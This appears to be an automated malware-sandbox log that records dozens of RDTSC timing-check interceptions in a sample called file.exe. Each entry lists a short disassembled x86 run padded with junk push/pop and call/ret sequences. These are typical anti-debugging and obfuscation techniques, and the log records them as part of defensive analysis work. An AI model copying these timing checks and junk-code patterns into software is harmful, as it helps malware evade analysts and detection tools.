Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129D4C2 second address: 129D4E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push ebx 0x00000008 je 00007F49C1023918h 0x0000000e push edi 0x0000000f pop edi 0x00000010 pop ebx 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 jc 00007F49C1023916h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129D4E0 second address: 129D514 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F49C1336BB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F49C1336BC1h 0x0000000f popad 0x00000010 mov eax, dword ptr [eax] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F49C1336BC4h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129D62F second address: 129D640 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 jl 00007F49C1023920h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129D697 second address: 129D6B3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnc 00007F49C1336BB6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], esi 0x0000000f xor dword ptr [ebp+122D3345h], edi 0x00000015 nop 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129D6B3 second address: 129D6B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129D6B7 second address: 129D6C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F49C1336BBAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129DDEE second address: 129DDF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129DDF4 second address: 129DE46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jne 00007F49C1336BBAh 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 pop edx 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007F49C1336BB8h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 0000001Ah 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c movzx ecx, di 0x0000002f push 0000001Eh 0x00000031 jmp 00007F49C1336BBFh 0x00000036 push eax 0x00000037 je 00007F49C1336BBEh 0x0000003d push esi 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129DF88 second address: 129DF8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129DF8C second address: 129DF96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129DF96 second address: 129DF9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129E13B second address: 129E148 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F49C1336BB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129E1F5 second address: 129E1F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129E1F9 second address: 129E266 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F49C1336BC4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a jmp 00007F49C1336BC8h 0x0000000f pop esi 0x00000010 popad 0x00000011 mov dword ptr [esp], eax 0x00000014 push 00000000h 0x00000016 push edx 0x00000017 call 00007F49C1336BB8h 0x0000001c pop edx 0x0000001d mov dword ptr [esp+04h], edx 0x00000021 add dword ptr [esp+04h], 0000001Ah 0x00000029 inc edx 0x0000002a push edx 0x0000002b ret 0x0000002c pop edx 0x0000002d ret 0x0000002e lea eax, dword ptr [ebp+12490C73h] 0x00000034 mov cx, 548Dh 0x00000038 nop 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d jng 00007F49C1336BB6h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129E266 second address: 129E26C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129E26C second address: 129E271 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129E271 second address: 129E27D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129E27D second address: 129E286 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129E286 second address: 129E28A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129E28A second address: 129E28E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129E28E second address: 127BE7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 sub dword ptr [ebp+12487FF8h], ecx 0x0000000e lea eax, dword ptr [ebp+12490C2Fh] 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007F49C1023918h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 0000001Ah 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e js 00007F49C102391Ch 0x00000034 mov edx, dword ptr [ebp+122D2C30h] 0x0000003a cmc 0x0000003b push eax 0x0000003c jnp 00007F49C1023928h 0x00000042 mov dword ptr [esp], eax 0x00000045 push 00000000h 0x00000047 push eax 0x00000048 call 00007F49C1023918h 0x0000004d pop eax 0x0000004e mov dword ptr [esp+04h], eax 0x00000052 add dword ptr [esp+04h], 0000001Bh 0x0000005a inc eax 0x0000005b push eax 0x0000005c ret 0x0000005d pop eax 0x0000005e ret 0x0000005f mov dx, di 0x00000062 call dword ptr [ebp+122D2855h] 0x00000068 js 00007F49C1023930h 0x0000006e push eax 0x0000006f push edx 0x00000070 push ecx 0x00000071 pop ecx 0x00000072 push eax 0x00000073 push edx 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127BE7B second address: 127BE7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CDDF6 second address: 12CDDFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CDDFA second address: 12CDE23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007F49C1336BBCh 0x0000000e jns 00007F49C1336BB6h 0x00000014 jmp 00007F49C1336BBAh 0x00000019 popad 0x0000001a push edi 0x0000001b pushad 0x0000001c ja 00007F49C1336BB6h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CDE23 second address: 12CDE42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F49C1023921h 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CDFAD second address: 12CDFD8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F49C1336BC8h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F49C1336BBBh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CDFD8 second address: 12CDFDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CDFDC second address: 12CDFED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007F49C1336BECh 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CDFED second address: 12CDFF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CDFF3 second address: 12CDFF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CE137 second address: 12CE154 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F49C1023922h 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CE154 second address: 12CE158 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CE2CB second address: 12CE2CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CE2CF second address: 12CE2EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F49C1336BC3h 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CE2EC second address: 12CE311 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F49C1023916h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push esi 0x0000000c jnc 00007F49C1023916h 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F49C102391Eh 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CE311 second address: 12CE317 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CE317 second address: 12CE325 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F49C1023916h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CE471 second address: 12CE489 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007F49C1336BBCh 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CE489 second address: 12CE4BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F49C1023916h 0x0000000a jmp 00007F49C1023926h 0x0000000f jmp 00007F49C1023922h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CE4BC second address: 12CE4C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CE4C1 second address: 12CE4CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F49C1023916h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CE4CD second address: 12CE4E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F49C1336BC5h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CE77A second address: 12CE784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F49C1023916h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D300B second address: 12D3029 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F49C1336BD0h 0x00000008 jmp 00007F49C1336BC4h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D3029 second address: 12D3058 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F49C1023926h 0x0000000c pushad 0x0000000d popad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 ja 00007F49C1023916h 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D3583 second address: 12D3587 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D3587 second address: 12D3595 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F49C1023918h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D3A2A second address: 12D3A3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F49C1336BB6h 0x0000000a pushad 0x0000000b popad 0x0000000c jl 00007F49C1336BB6h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D3A3D second address: 12D3A4F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F49C102391Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D3A4F second address: 12D3A78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F49C1336BC2h 0x00000007 jne 00007F49C1336BB6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 push eax 0x00000015 pop eax 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 pop ecx 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D3A78 second address: 12D3A92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F49C1023925h 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D3A92 second address: 12D3A97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D90F5 second address: 12D90FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D90FD second address: 12D9126 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jmp 00007F49C1336BBDh 0x0000000b pop edi 0x0000000c jmp 00007F49C1336BBEh 0x00000011 popad 0x00000012 push ecx 0x00000013 push edx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D7D17 second address: 12D7D1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D7E71 second address: 12D7E75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D7E75 second address: 12D7E7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D7E7E second address: 12D7E85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D7E85 second address: 12D7E9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F49C1023924h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D7E9D second address: 12D7EA7 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F49C1336BB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D7EA7 second address: 12D7EB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D86A0 second address: 12D86C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F49C1336BBDh 0x00000007 jmp 00007F49C1336BC4h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D86C9 second address: 12D86CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D86CD second address: 12D86D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DC311 second address: 12DC315 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DC315 second address: 12DC337 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c jp 00007F49C1336BB8h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F49C1336BBBh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DBD00 second address: 12DBD04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DBD04 second address: 12DBD1E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jg 00007F49C1336BB6h 0x0000000d jnl 00007F49C1336BB6h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DBD1E second address: 12DBD22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DBD22 second address: 12DBD26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DBE73 second address: 12DBE77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DE6C1 second address: 12DE6DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F49C1336BB6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007F49C1336BB6h 0x00000013 jmp 00007F49C1336BBBh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DE6DF second address: 12DE6E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DE6E3 second address: 12DE6E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DE24C second address: 12DE27F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jmp 00007F49C102391Fh 0x0000000e jns 00007F49C1023916h 0x00000014 jmp 00007F49C102391Fh 0x00000019 popad 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d push ecx 0x0000001e pop ecx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DE27F second address: 12DE283 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DE283 second address: 12DE289 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DE289 second address: 12DE293 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DE293 second address: 12DE29D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F49C1023916h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DE29D second address: 12DE2A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E47FD second address: 12E480D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F49C102391Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E480D second address: 12E4817 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E4817 second address: 12E481D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E481D second address: 12E4821 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129DC97 second address: 129DCF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F49C1023916h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 call 00007F49C1023918h 0x00000019 pop ebx 0x0000001a mov dword ptr [esp+04h], ebx 0x0000001e add dword ptr [esp+04h], 0000001Dh 0x00000026 inc ebx 0x00000027 push ebx 0x00000028 ret 0x00000029 pop ebx 0x0000002a ret 0x0000002b mov dword ptr [ebp+122D1A33h], esi 0x00000031 movzx edi, ax 0x00000034 push 00000004h 0x00000036 sbb di, 7778h 0x0000003b push eax 0x0000003c pushad 0x0000003d jmp 00007F49C1023921h 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129DCF4 second address: 129DCF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E3A85 second address: 12E3A9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F49C102391Ch 0x0000000b jl 00007F49C1023916h 0x00000011 popad 0x00000012 rdtsc
